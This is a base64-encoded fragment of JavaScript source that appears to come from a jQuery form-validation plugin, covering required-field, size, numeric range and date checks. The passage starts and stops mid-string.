1lbnRfY2xhc3NdICE9ICJ1bmRlZmluZWQiICYmDQoJCQkJCQl0eXBlb2Ygb3B0aW9ucy5jdXN0b21fZXJyb3JfbWVzc2FnZXNbZWxlbWVudF9jbGFzc11bcnVsZV0gIT0gInVuZGVmaW5lZCIpIHsNCgkJCQkJCQljdXN0b21fbWVzc2FnZSA9IG9wdGlvbnMuY3VzdG9tX2Vycm9yX21lc3NhZ2VzW2VsZW1lbnRfY2xhc3NdW3J1bGVdWydtZXNzYWdlJ107DQoJCQkJCQkJYnJlYWs7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQlpZiAoIWN1c3RvbV9tZXNzYWdlICYmDQoJCQkJdHlwZW9mIG9wdGlvbnMuY3VzdG9tX2Vycm9yX21lc3NhZ2VzW3J1bGVdICE9ICJ1bmRlZmluZWQiICYmDQoJCQkJdHlwZW9mIG9wdGlvbnMuY3VzdG9tX2Vycm9yX21lc3NhZ2VzW3J1bGVdWydtZXNzYWdlJ10gIT0gInVuZGVmaW5lZCIpew0KCQkJCQkgY3VzdG9tX21lc3NhZ2UgPSBvcHRpb25zLmN1c3RvbV9lcnJvcl9tZXNzYWdlc1tydWxlXVsnbWVzc2FnZSddOw0KCQkJIH0NCgkJCSByZXR1cm4gY3VzdG9tX21lc3NhZ2U7DQoJCSB9LA0KCQkgX3ZhbGlkaXR5UHJvcDogew0KCQkJICJyZXF1aXJlZCI6ICJ2YWx1ZS1taXNzaW5nIiwNCgkJCSAiY3VzdG9tIjogImN1c3RvbS1lcnJvciIsDQoJCQkgImdyb3VwUmVxdWlyZWQiOiAidmFsdWUtbWlzc2luZyIsDQoJCQkgImFqYXgiOiAiY3VzdG9tLWVycm9yIiwNCgkJCSAibWluU2l6ZSI6ICJyYW5nZS11bmRlcmZsb3ciLA0KCQkJICJtYXhTaXplIjogInJhbmdlLW92ZXJmbG93IiwNCgkJCSAibWluIjogInJhbmdlLXVuZGVyZmxvdyIsDQoJCQkgIm1heCI6ICJyYW5nZS1vdmVyZmxvdyIsDQoJCQkgInBhc3QiOiAidHlwZS1taXNtYXRjaCIsDQoJCQkgImZ1dHVyZSI6ICJ0eXBlLW1pc21hdGNoIiwNCgkJCSAiZGF0ZVJhbmdlIjogInR5cGUtbWlzbWF0Y2giLA0KCQkJICJkYXRlVGltZVJhbmdlIjogInR5cGUtbWlzbWF0Y2giLA0KCQkJICJtYXhDaGVja2JveCI6ICJyYW5nZS1vdmVyZmxvdyIsDQoJCQkgIm1pbkNoZWNrYm94IjogInJhbmdlLXVuZGVyZmxvdyIsDQoJCQkgImVxdWFscyI6ICJwYXR0ZXJuLW1pc21hdGNoIiwNCgkJCSAiZnVuY0NhbGwiOiAiY3VzdG9tLWVycm9yIiwNCgkJCSAibmFtZU9uSWQiOiAicGF0dGVybi1taXNtYXRjaCIsDQoJCQkgImNvbmRSZXF1aXJlZCI6ICJ2YWx1ZS1taXNzaW5nIg0KCQkgfSwNCgkJLyoqDQoJCSogUmVxdWlyZWQgdmFsaWRhdGlvbg0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZmllbGQNCgkJKiBAcGFyYW0ge0FycmF5W1N0cmluZ119IHJ1bGVzDQoJCSogQHBhcmFtIHtpbnR9IGkgcnVsZXMgaW5kZXgNCgkJKiBAcGFyYW0ge01hcH0NCgkJKiAgICAgICAgICAgIHVzZXIgb3B0aW9ucw0KCQkqIEBwYXJhbSB7Ym9vbH0gY29uZFJlcXVpcmVkIGZsYWcgd2hlbiBtZXRob2QgaXMgdXNlZCBmb3IgaW50ZXJuYWwgcHVycG9zZSBpbiBjb25kUmVxdWlyZWQgY2hlY2sNCgkJKiBAcmV0dXJuIGFuIGVycm9yIHN0cmluZyBpZiB2YWxpZGF0aW9uIGZhaWxlZA0KCQkqLw0KCQlfcmVxdWlyZWQ6IGZ1bmN0aW9uKGZpZWxkLCBydWxlcywgaSwgb3B0aW9ucywgY29uZFJlcXVpcmVkKSB7DQoJCQlzd2l0Y2ggKGZpZWxkLnByb3AoInR5cGUiKSkgew0KCQkJCWNhc2UgInRleHQiOg0KCQkJCWNhc2UgInBhc3N3b3JkIjoNCgkJCQljYXNlICJ0ZXh0YXJlYSI6DQoJCQkJY2FzZSAiZmlsZSI6DQoJCQkJY2FzZSAic2VsZWN0LW9uZSI6DQoJCQkJY2FzZSAic2VsZWN0LW11bHRpcGxlIjoNCgkJCQlkZWZhdWx0Og0KCQkJCQl2YXIgZmllbGRfdmFsICAgICAgPSAkLnRyaW0oIGZpZWxkLnZhbCgpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7DQoJCQkJCXZhciBkdl9wbGFjZWhvbGRlciA9ICQudHJpbSggZmllbGQuYXR0cigiZGF0YS12YWxpZGF0aW9uLXBsYWNlaG9sZGVyIikgKTsNCgkJCQkJdmFyIHBsYWNlaG9sZGVyICAgID0gJC50cmltKCBmaWVsZC5hdHRyKCJwbGFjZWhvbGRlciIpICAgICAgICAgICAgICAgICApOw0KCQkJCQlpZiAoDQoJCQkJCQkgICAoICFmaWVsZF92YWwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApDQoJCQkJCQl8fCAoIGR2X3BsYWNlaG9sZGVyICYmIGZpZWxkX3ZhbCA9PSBkdl9wbGFjZWhvbGRlciApDQoJCQkJCQl8fCAoIHBsYWNlaG9sZGVyICAgICYmIGZpZWxkX3ZhbCA9PSBwbGFjZWhvbGRlciAgICApDQoJCQkJCSkgew0KCQkJCQkJcmV0dXJuIG9wdGlvbnMuYWxscnVsZXNbcnVsZXNbaV1dLmFsZXJ0VGV4dDsNCgkJCQkJfQ0KCQkJCQlicmVhazsNCgkJCQljYXNlICJyYWRpbyI6DQoJCQkJY2FzZSAiY2hlY2tib3giOg0KCQkJCQkvLyBuZXcgdmFsaWRhdGlvbiBzdHlsZSB0byBvbmx5IGNoZWNrIGRlcGVuZGVudCBmaWVsZA0KCQkJCQlpZiAoY29uZFJlcXVpcmVkKSB7DQoJCQkJCQlpZiAoIWZpZWxkLmF0dHIoJ2NoZWNrZWQnKSkgew0KCQkJCQkJCXJldHVybiBvcHRpb25zLmFsbHJ1bGVzW3J1bGVzW2ldXS5hbGVydFRleHRDaGVja2JveE11bHRpcGxlOw0KCQkJCQkJfQ0KCQkJCQkJYnJlYWs7DQoJCQkJCX0NCgkJCQkJLy8gb2xkIHZhbGlkYXRpb24gc3R5bGUNCgkJCQkJdmFyIGZvcm0gPSBmaWVsZC5jbG9zZXN0KCJmb3JtLCAudmFsaWRhdGlvbkVuZ2luZUNvbnRhaW5lciIpOw0KCQkJCQl2YXIgbmFtZSA9IGZpZWxkLmF0dHIoIm5hbWUiKTsNCgkJCQkJaWYgKGZvcm0uZmluZCgiaW5wdXRbbmFtZT0nIiArIG5hbWUgKyAiJ106Y2hlY2tlZCIpLnNpemUoKSA9PSAwKSB7DQoJCQkJCQlpZiAoZm9ybS5maW5kKCJpbnB1dFtuYW1lPSciICsgbmFtZSArICInXTp2aXNpYmxlIikuc2l6ZSgpID09IDEpDQoJCQkJCQkJcmV0dXJuIG9wdGlvbnMuYWxscnVsZXNbcnVsZXNbaV1dLmFsZXJ0VGV4dENoZWNrYm94ZTsNCgkJCQkJCWVsc2UNCgkJCQkJCQlyZXR1cm4gb3B0aW9ucy5hbGxydWxlc1tydWxlc1tpXV0uYWxlcnRUZXh0Q2hlY2tib3hNdWx0aXBsZTsNCgkJCQkJfQ0KCQkJCQlicmVhazsNCgkJCX0NCgkJfSwNCgkJLyoqDQoJCSogVmFsaWRhdGUgdGhhdCAxIGZyb20gdGhlIGdyb3VwIGZpZWxkIGlzIHJlcXVpcmVkDQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fSBmaWVsZA0KCQkqIEBwYXJhbSB7QXJyYXlbU3RyaW5nXX0gcnVsZXMNCgkJKiBAcGFyYW0ge2ludH0gaSBydWxlcyBpbmRleA0KCQkqIEBwYXJhbSB7TWFwfQ0KCQkqICAgICAgICAgICAgdXNlciBvcHRpb25zDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX2dyb3VwUmVxdWlyZWQ6IGZ1bmN0aW9uKGZpZWxkLCBydWxlcywgaSwgb3B0aW9ucykgew0KCQkJdmFyIGNsYXNzR3JvdXAgPSAiWyIrb3B0aW9ucy52YWxpZGF0ZUF0dHJpYnV0ZSsiKj0iICtydWxlc1tpICsgMV0gKyJdIjsNCgkJCXZhciBpc1ZhbGlkID0gZmFsc2U7DQoJCQkvLyBDaGVjayBhbGwgZmllbGRzIGZyb20gdGhlIGdyb3VwDQoJCQlmaWVsZC5jbG9zZXN0KCJmb3JtLCAudmFsaWRhdGlvbkVuZ2luZUNvbnRhaW5lciIpLmZpbmQoY2xhc3NHcm91cCkuZWFjaChmdW5jdGlvbigpew0KCQkJCWlmKCFtZXRob2RzLl9yZXF1aXJlZCgkKHRoaXMpLCBydWxlcywgaSwgb3B0aW9ucykpew0KCQkJCQlpc1ZhbGlkID0gdHJ1ZTsNCgkJCQkJcmV0dXJuIGZhbHNlOw0KCQkJCX0NCgkJCX0pOyANCg0KCQkJaWYoIWlzVmFsaWQpIHsNCgkJICByZXR1cm4gb3B0aW9ucy5hbGxydWxlc1tydWxlc1tpXV0uYWxlcnRUZXh0Ow0KCQl9DQoJCX0sDQoJCS8qKg0KCQkqIFZhbGlkYXRlIHJ1bGVzDQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fSBmaWVsZA0KCQkqIEBwYXJhbSB7QXJyYXlbU3RyaW5nXX0gcnVsZXMNCgkJKiBAcGFyYW0ge2ludH0gaSBydWxlcyBpbmRleA0KCQkqIEBwYXJhbSB7TWFwfQ0KCQkqICAgICAgICAgICAgdXNlciBvcHRpb25zDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX2N1c3RvbTogZnVuY3Rpb24oZmllbGQsIHJ1bGVzLCBpLCBvcHRpb25zKSB7DQoJCQl2YXIgY3VzdG9tUnVsZSA9IHJ1bGVzW2kgKyAxXTsNCgkJCXZhciBydWxlID0gb3B0aW9ucy5hbGxydWxlc1tjdXN0b21SdWxlXTsNCgkJCXZhciBmbjsNCgkJCWlmKCFydWxlKSB7DQoJCQkJYWxlcnQoImpxdjpjdXN0b20gcnVsZSBub3QgZm91bmQgLSAiK2N1c3RvbVJ1bGUpOw0KCQkJCXJldHVybjsNCgkJCX0NCgkJCQ0KCQkJaWYocnVsZVsicmVnZXgiXSkgew0KCQkJCSB2YXIgZXg9cnVsZS5yZWdleDsNCgkJCQkJaWYoIWV4KSB7DQoJCQkJCQlhbGVydCgianF2OmN1c3RvbSByZWdleCBub3QgZm91bmQgLSAiK2N1c3RvbVJ1bGUpOw0KCQkJCQkJcmV0dXJuOw0KCQkJCQl9DQoJCQkJCXZhciBwYXR0ZXJuID0gbmV3IFJlZ0V4cChleCk7DQoNCgkJCQkJaWYgKCFwYXR0ZXJuLnRlc3QoZmllbGQudmFsKCkpKSByZXR1cm4gb3B0aW9ucy5hbGxydWxlc1tjdXN0b21SdWxlXS5hbGVydFRleHQ7DQoJCQkJCQ0KCQkJfSBlbHNlIGlmKHJ1bGVbImZ1bmMiXSkgew0KCQkJCWZuID0gcnVsZVsiZnVuYyJdOyANCgkJCQkgDQoJCQkJaWYgKHR5cGVvZihmbikgIT09ICJmdW5jdGlvbiIpIHsNCgkJCQkJYWxlcnQoImpxdjpjdXN0b20gcGFyYW1ldGVyICdmdW5jdGlvbicgaXMgbm8gZnVuY3Rpb24gLSAiK2N1c3RvbVJ1bGUpOw0KCQkJCQkJcmV0dXJuOw0KCQkJCX0NCgkJCQkgDQoJCQkJaWYgKCFmbihmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpKQ0KCQkJCQlyZXR1cm4gb3B0aW9ucy5hbGxydWxlc1tjdXN0b21SdWxlXS5hbGVydFRleHQ7DQoJCQl9IGVsc2Ugew0KCQkJCWFsZXJ0KCJqcXY6Y3VzdG9tIHR5cGUgbm90IGFsbG93ZWQgIitjdXN0b21SdWxlKTsNCgkJCQkJcmV0dXJuOw0KCQkJfQ0KCQl9LA0KCQkvKioNCgkJKiBWYWxpZGF0ZSBjdXN0b20gZnVuY3Rpb24gb3V0c2lkZSBvZiB0aGUgZW5naW5lIHNjb3BlDQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fSBmaWVsZA0KCQkqIEBwYXJhbSB7QXJyYXlbU3RyaW5nXX0gcnVsZXMNCgkJKiBAcGFyYW0ge2ludH0gaSBydWxlcyBpbmRleA0KCQkqIEBwYXJhbSB7TWFwfQ0KCQkqICAgICAgICAgICAgdXNlciBvcHRpb25zDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX2Z1bmNDYWxsOiBmdW5jdGlvbihmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCgkJCXZhciBmdW5jdGlvbk5hbWUgPSBydWxlc1tpICsgMV07DQoJCQl2YXIgZm47DQoJCQlpZihmdW5jdGlvbk5hbWUuaW5kZXhPZignLicpID4tMSkNCgkJCXsNCgkJCQl2YXIgbmFtZXNwYWNlcyA9IGZ1bmN0aW9uTmFtZS5zcGxpdCgnLicpOw0KCQkJCXZhciBzY29wZSA9IHdpbmRvdzsNCgkJCQl3aGlsZShuYW1lc3BhY2VzLmxlbmd0aCkNCgkJCQl7DQoJCQkJCXNjb3BlID0gc2NvcGVbbmFtZXNwYWNlcy5zaGlmdCgpXTsNCgkJCQl9DQoJCQkJZm4gPSBzY29wZTsNCgkJCX0NCgkJCWVsc2UNCgkJCQlmbiA9IHdpbmRvd1tmdW5jdGlvbk5hbWVdIHx8IG9wdGlvbnMuY3VzdG9tRnVuY3Rpb25zW2Z1bmN0aW9uTmFtZV07DQoJCQlpZiAodHlwZW9mKGZuKSA9PSAnZnVuY3Rpb24nKQ0KCQkJCXJldHVybiBmbihmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpOw0KDQoJCX0sDQoJCS8qKg0KCQkqIEZpZWxkIG1hdGNoDQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fSBmaWVsZA0KCQkqIEBwYXJhbSB7QXJyYXlbU3RyaW5nXX0gcnVsZXMNCgkJKiBAcGFyYW0ge2ludH0gaSBydWxlcyBpbmRleA0KCQkqIEBwYXJhbSB7TWFwfQ0KCQkqICAgICAgICAgICAgdXNlciBvcHRpb25zDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX2VxdWFsczogZnVuY3Rpb24oZmllbGQsIHJ1bGVzLCBpLCBvcHRpb25zKSB7DQoJCQl2YXIgZXF1YWxzRmllbGQgPSBydWxlc1tpICsgMV07DQoNCgkJCWlmIChmaWVsZC52YWwoKSAhPSAkKCIjIiArIGVxdWFsc0ZpZWxkKS52YWwoKSkNCgkJCQlyZXR1cm4gb3B0aW9ucy5hbGxydWxlcy5lcXVhbHMuYWxlcnRUZXh0Ow0KCQl9LA0KCQkvKioNCgkJKiBDaGVjayB0aGUgbWF4aW11bSBzaXplIChpbiBjaGFyYWN0ZXJzKQ0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZmllbGQNCgkJKiBAcGFyYW0ge0FycmF5W1N0cmluZ119IHJ1bGVzDQoJCSogQHBhcmFtIHtpbnR9IGkgcnVsZXMgaW5kZXgNCgkJKiBAcGFyYW0ge01hcH0NCgkJKiAgICAgICAgICAgIHVzZXIgb3B0aW9ucw0KCQkqIEByZXR1cm4gYW4gZXJyb3Igc3RyaW5nIGlmIHZhbGlkYXRpb24gZmFpbGVkDQoJCSovDQoJCV9tYXhTaXplOiBmdW5jdGlvbihmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCgkJCXZhciBtYXggPSBydWxlc1tpICsgMV07DQoJCQl2YXIgbGVuID0gZmllbGQudmFsKCkubGVuZ3RoOw0KDQoJCQlpZiAobGVuID4gbWF4KSB7DQoJCQkJdmFyIHJ1bGUgPSBvcHRpb25zLmFsbHJ1bGVzLm1heFNpemU7DQoJCQkJcmV0dXJuIHJ1bGUuYWxlcnRUZXh0ICsgbWF4ICsgcnVsZS5hbGVydFRleHQyOw0KCQkJfQ0KCQl9LA0KCQkvKioNCgkJKiBDaGVjayB0aGUgbWluaW11bSBzaXplIChpbiBjaGFyYWN0ZXJzKQ0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZmllbGQNCgkJKiBAcGFyYW0ge0FycmF5W1N0cmluZ119IHJ1bGVzDQoJCSogQHBhcmFtIHtpbnR9IGkgcnVsZXMgaW5kZXgNCgkJKiBAcGFyYW0ge01hcH0NCgkJKiAgICAgICAgICAgIHVzZXIgb3B0aW9ucw0KCQkqIEByZXR1cm4gYW4gZXJyb3Igc3RyaW5nIGlmIHZhbGlkYXRpb24gZmFpbGVkDQoJCSovDQoJCV9taW5TaXplOiBmdW5jdGlvbihmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCgkJCXZhciBtaW4gPSBydWxlc1tpICsgMV07DQoJCQl2YXIgbGVuID0gZmllbGQudmFsKCkubGVuZ3RoOw0KDQoJCQlpZiAobGVuIDwgbWluKSB7DQoJCQkJdmFyIHJ1bGUgPSBvcHRpb25zLmFsbHJ1bGVzLm1pblNpemU7DQoJCQkJcmV0dXJuIHJ1bGUuYWxlcnRUZXh0ICsgbWluICsgcnVsZS5hbGVydFRleHQyOw0KCQkJfQ0KCQl9LA0KCQkvKioNCgkJKiBDaGVjayBudW1iZXIgbWluaW11bSB2YWx1ZQ0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZmllbGQNCgkJKiBAcGFyYW0ge0FycmF5W1N0cmluZ119IHJ1bGVzDQoJCSogQHBhcmFtIHtpbnR9IGkgcnVsZXMgaW5kZXgNCgkJKiBAcGFyYW0ge01hcH0NCgkJKiAgICAgICAgICAgIHVzZXIgb3B0aW9ucw0KCQkqIEByZXR1cm4gYW4gZXJyb3Igc3RyaW5nIGlmIHZhbGlkYXRpb24gZmFpbGVkDQoJCSovDQoJCV9taW46IGZ1bmN0aW9uKGZpZWxkLCBydWxlcywgaSwgb3B0aW9ucykgew0KCQkJdmFyIG1pbiA9IHBhcnNlRmxvYXQocnVsZXNbaSArIDFdKTsNCgkJCXZhciBsZW4gPSBwYXJzZUZsb2F0KGZpZWxkLnZhbCgpKTsNCg0KCQkJaWYgKGxlbiA8IG1pbikgew0KCQkJCXZhciBydWxlID0gb3B0aW9ucy5hbGxydWxlcy5taW47DQoJCQkJaWYgKHJ1bGUuYWxlcnRUZXh0MikgcmV0dXJuIHJ1bGUuYWxlcnRUZXh0ICsgbWluICsgcnVsZS5hbGVydFRleHQyOw0KCQkJCXJldHVybiBydWxlLmFsZXJ0VGV4dCArIG1pbjsNCgkJCX0NCgkJfSwNCgkJLyoqDQoJCSogQ2hlY2sgbnVtYmVyIG1heGltdW0gdmFsdWUNCgkJKg0KCQkqIEBwYXJhbSB7anFPYmplY3R9IGZpZWxkDQoJCSogQHBhcmFtIHtBcnJheVtTdHJpbmddfSBydWxlcw0KCQkqIEBwYXJhbSB7aW50fSBpIHJ1bGVzIGluZGV4DQoJCSogQHBhcmFtIHtNYXB9DQoJCSogICAgICAgICAgICB1c2VyIG9wdGlvbnMNCgkJKiBAcmV0dXJuIGFuIGVycm9yIHN0cmluZyBpZiB2YWxpZGF0aW9uIGZhaWxlZA0KCQkqLw0KCQlfbWF4OiBmdW5jdGlvbihmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCgkJCXZhciBtYXggPSBwYXJzZUZsb2F0KHJ1bGVzW2kgKyAxXSk7DQoJCQl2YXIgbGVuID0gcGFyc2VGbG9hdChmaWVsZC52YWwoKSk7DQoNCgkJCWlmIChsZW4gPm1heCApIHsNCgkJCQl2YXIgcnVsZSA9IG9wdGlvbnMuYWxscnVsZXMubWF4Ow0KCQkJCWlmIChydWxlLmFsZXJ0VGV4dDIpIHJldHVybiBydWxlLmFsZXJ0VGV4dCArIG1heCArIHJ1bGUuYWxlcnRUZXh0MjsNCgkJCQkvL29yZWZhbG86IHRvIHJldmlldywgYWxzbyBkbyB0aGUgdHJhbnNsYXRpb25zDQoJCQkJcmV0dXJuIHJ1bGUuYWxlcnRUZXh0ICsgbWF4Ow0KCQkJfQ0KCQl9LA0KCQkvKioNCgkJKiBDaGVja3MgZGF0ZSBpcyBpbiB0aGUgcGFzdA0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZmllbGQNCgkJKiBAcGFyYW0ge0FycmF5W1N0cmluZ119IHJ1bGVzDQoJCSogQHBhcmFtIHtpbnR9IGkgcnVsZXMgaW5kZXgNCgkJKiBAcGFyYW0ge01hcH0NCgkJKiAgICAgICAgICAgIHVzZXIgb3B0aW9ucw0KCQkqIEByZXR1cm4gYW4gZXJyb3Igc3RyaW5nIGlmIHZhbGlkYXRpb24gZmFpbGVkDQoJCSovDQoJCV9wYXN0OiBmdW5jdGlvbihmb3JtLCBmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCg0KCQkJdmFyIHA9cnVsZXNbaSArIDFdOw0KCQkJdmFyIGZpZWxkQWx0ID0gJChmb3JtLmZpbmQoImlucHV0W25hbWU9JyIgKyBwLnJlcGxhY2UoL14jKy8sICcnKSArICInXSIpKTsNCgkJCXZhciBwZGF0ZTsNCg0KCQkJaWYgKHAudG9Mb3dlckNhc2UoKSA9PSAibm93Iikgew0KCQkJCXBkYXRlID0gbmV3IERhdGUoKTsNCgkJCX0gZWxzZSBpZiAodW5kZWZpbmVkICE9IGZpZWxkQWx0LnZhbCgpKSB7DQoJCQkJaWYgKGZpZWxkQWx0LmlzKCI6ZGlzYWJsZWQiKSkNCgkJCQkJcmV0dXJuOw0KCQkJCXBkYXRlID0gbWV0aG9kcy5fcGFyc2VEYXRlKGZpZWxkQWx0LnZhbCgpKTsNCgkJCX0gZWxzZSB7DQoJCQkJcGRhdGUgPSBtZXRob2RzLl9wYXJzZURhdGUocCk7DQoJCQl9DQoJCQl2YXIgdmRhdGUgPSBtZXRob2RzLl9wYXJzZURhdGUoZmllbGQudmFsKCkpOw0KDQoJCQlpZiAodmRhdGUgPiBwZGF0ZSApIHsNCgkJCQl2YXIgcnVsZSA9IG9wdGlvbnMuYWxscnVsZXMucGFzdDsNCgkJCQlpZiAocnVsZS5hbGVydFRleHQyKSByZXR1cm4gcnVsZS5hbGVydFRleHQgKyBtZXRob2RzLl9kYXRlVG9TdHJpbmcocGRhdGUpICsgcnVsZS5hbGVydFRleHQyOw0KCQkJCXJldHVybiBydWxlLmFsZXJ0VGV4dCArIG1ldGhvZHMuX2RhdGVUb1N0cmluZyhwZGF0ZSk7DQoJCQl9DQoJCX0sDQoJCS8qKg0KCQkqIENoZWNrcyBkYXRlIGlzIGluIHRoZSBmdXR1cmUNCgkJKg0KCQkqIEBwYXJhbSB7anFPYmplY3R9IGZpZWxkDQoJCSogQHBhcmFtIHtBcnJheVtTdHJpbmddfSBydWxlcw0KCQkqIEBwYXJhbSB7aW50fSBpIHJ1bGVzIGluZGV4DQoJCSogQHBhcmFtIHtNYXB9DQoJCSogICAgICAgICAgICB1c2VyIG9wdGlvbnMNCgkJKiBAcmV0dXJuIGFuIGVycm9yIHN0cmluZyBpZiB2YWxpZGF0aW9uIGZhaWxlZA0KCQkqLw0KCQlfZnV0dXJlOiBmdW5jdGlvbihmb3JtLCBmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCg0KCQkJdmFyIHA9cnVsZXNbaSArIDFdOw0KCQkJdmFyIGZpZWxkQWx0ID0gJChmb3JtLmZpbmQoImlucHV0W25hbWU9JyIgKyBwLnJlcGxhY2UoL14jKy8sICcnKSArICInXSIpKTsNCgkJCXZhciBwZGF0ZTsNCg0KCQkJaWYgKHAudG9Mb3dlckNhc2UoKSA9PSAibm93Iikgew0KCQkJCXBkYXRlID0gbmV3IERhdGUoKTsNCgkJCX0gZWxzZSBpZiAodW5kZWZpbmVkICE9IGZpZWxkQWx0LnZhbCgpKSB7DQoJCQkJaWYgKGZpZWxkQWx0LmlzKCI6ZGlzYWJsZWQiKSkNCgkJCQkJcmV0dXJuOw0KCQkJCXBkYXRlID0gbWV0aG9kcy5fcGFyc2VEYXRlKGZpZWxkQWx0LnZhbCgpKTsNCgkJCX0gZWxzZSB7DQoJCQkJcGRhdGUgPSBtZXRob2RzLl9wYXJzZURhdGUocCk7DQoJCQl9DQoJCQl2YXIgdmRhdGUgPSBtZXRob2RzLl9wYXJzZURhdGUoZmllbGQudmFsKCkpOw0KDQoJCQlpZiAodmRhdGUgPCBwZGF0ZSApIHsNCgkJCQl2YXIgcnVsZSA9IG9wdGlvbnMuYWxscnVsZXMuZnV0dXJlOw0KCQkJCWlmIChydWxlLmFsZXJ0VGV4dDIpDQoJCQkJCXJldHVybiBydWxlLmFsZXJ0VGV4dCArIG1ldGhvZHMuX2RhdGVUb1N0cmluZyhwZGF0ZSkgKyBydWxlLmFsZXJ0VGV4dDI7DQoJCQkJcmV0dXJuIHJ1bGUuYWxlcnRUZXh0ICsgbWV0aG9kcy5fZGF0ZVRvU3RyaW5nKHBkYXRlKTsNCgkJCX0NCgkJfSwNCgkJLyoqDQoJCSogQ2hlY2tzIGlmIHZhbGlkIGRhdGUNCgkJKg0KCQkqIEBwYXJhbSB7c3RyaW5nfSBkYXRlIHN0cmluZw0KCQkqIEByZXR1cm4gYSBib29sIGJhc2VkIG9uIGRldGVybWluYXRpb24gb2YgdmFsaWQgZGF0ZQ0KCQkqLw0KCQlfaXNEYXRlOiBmdW5jdGlvbiAodmFsdWUpIHsNCgkJCXZhciBkYXRlUmVnRXggPSBuZXcgUmVnRXhwKC9eXGR7NH1bXC9cLV0oMD9bMS05XXwxWzAxMl0pW1wvXC1dKDA/WzEtOV18WzEyXVswLTldfDNbMDFdKSR8Xig/Oig/Oig/OjA/WzEzNTc4XXwxWzAyXSkoXC98LSkzMSl8KD86KD86MD9bMSwzLTldfDFbMC0yXSkoXC98LSkoPzoyOXwzMCkpKShcL3wtKSg/OlsxLTldXGRcZFxkfFxkWzEtOV1cZFxkfFxkXGRbMS05XVxkfFxkXGRcZFsxLTldKSR8Xig/Oig/OjA/WzEtOV18MVswLTJdKShcL3wtKSg/OjA/WzEtOV18MVxkfDJbMC04XSkpKFwvfC0pKD86WzEtOV1cZFxkXGR8XGRbMS05XVxkXGR8XGRcZFsxLTldXGR8XGRcZFxkWzEtOV0pJHxeKDA/MihcL3wtKTI5KShcL3wtKSg/Oig/OjBbNDhdMDB8WzEzNTc5XVsyNl0wMHxbMjQ2OF1bMDQ4XTAwKXwoPzpcZFxkKT8oPzowWzQ4XXxbMjQ2OF1bMDQ4XXxbMTM1NzldWzI2XSkpJC8pOw0KCQkJcmV0dXJuIGRhdGVSZWdFeC50ZXN0KHZhbHVlKTsNCgkJfSwNCgkJLyoqDQoJCSogQ2hlY2tzIGlmIHZhbGlkIGRhdGUgdGltZQ0KCQkqDQoJCSogQHBhcmFtIHtzdHJpbmd9IGRhdGUgc3RyaW5nDQoJCSogQHJldHVybiBhIGJvb2wgYmFzZWQgb24gZGV0ZXJtaW5hdGlvbiBvZiB2YWxpZCBkYXRlIHRpbWUNCgkJKi8NCgkJX2lzRGF0ZVRpbWU6IGZ1bmN0aW9uICh2YWx1ZSl7DQoJCQl2YXIgZGF0ZVRpbWVSZWdFeCA9IG5ldyBSZWdFeHAoL15cZHs0fVtcL1wtXSgwP1sxLTldfDFbMDEyXSlbXC9cLV0oMD9bMS05XXxbMTJdWzAtOV18M1swMV0pXHMrKDFbMDEyXXwwP1sxLTldKXsxfTooMD9bMS01XXxbMC02XVswLTldKXsxfTooMD9bMC02XXxbMC02XVswLTldKXsxfVxzKyhhbXxwbXxBTXxQTSl7MX0kfF4oPzooPzooPzowP1sxMzU3OF18MVswMl0pKFwvfC0pMzEpfCg/Oig/OjA/WzEsMy05XXwxWzAtMl0pKFwvfC0pKD86Mjl8MzApKSkoXC98LSkoPzpbMS05XVxkXGRcZHxcZFsxLTldXGRcZHxcZFxkWzEtOV1cZHxcZFxkXGRbMS05XSkkfF4oKDFbMDEyXXwwP1sxLTldKXsxfVwvKDA/WzEtOV18WzEyXVswLTldfDNbMDFdKXsxfVwvXGR7Miw0fVxzKygxWzAxMl18MD9bMS05XSl7MX06KDA/WzEtNV18WzAtNl1bMC05XSl7MX06KDA/WzAtNl18WzAtNl1bMC05XSl7MX1ccysoYW18cG18QU18UE0pezF9KSQvKTsNCgkJCXJldHVybiBkYXRlVGltZVJlZ0V4LnRlc3QodmFsdWUpOw0KCQl9LA0KCQkvL0NoZWNrcyBpZiB0aGUgc3RhcnQgZGF0ZSBpcyBiZWZvcmUgdGhlIGVuZCBkYXRlDQoJCS8vcmV0dXJucyB0cnVlIGlmIGVuZCBpcyBsYXRlciB0aGFuIHN0YXJ0DQoJCV9kYXRlQ29tcGFyZTogZnVuY3Rpb24gKHN0YXJ0LCBlbmQpIHsNCgkJCXJldHVybiAobmV3IERhdGUoc3RhcnQudG9TdHJpbmcoKSkgPCBuZXcgRGF0ZShlbmQudG9TdHJpbmcoKSkpOw0KCQl9LA0KCQkvKioNCgkJKiBDaGVja3MgZGF0ZSByYW5nZQ0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZmlyc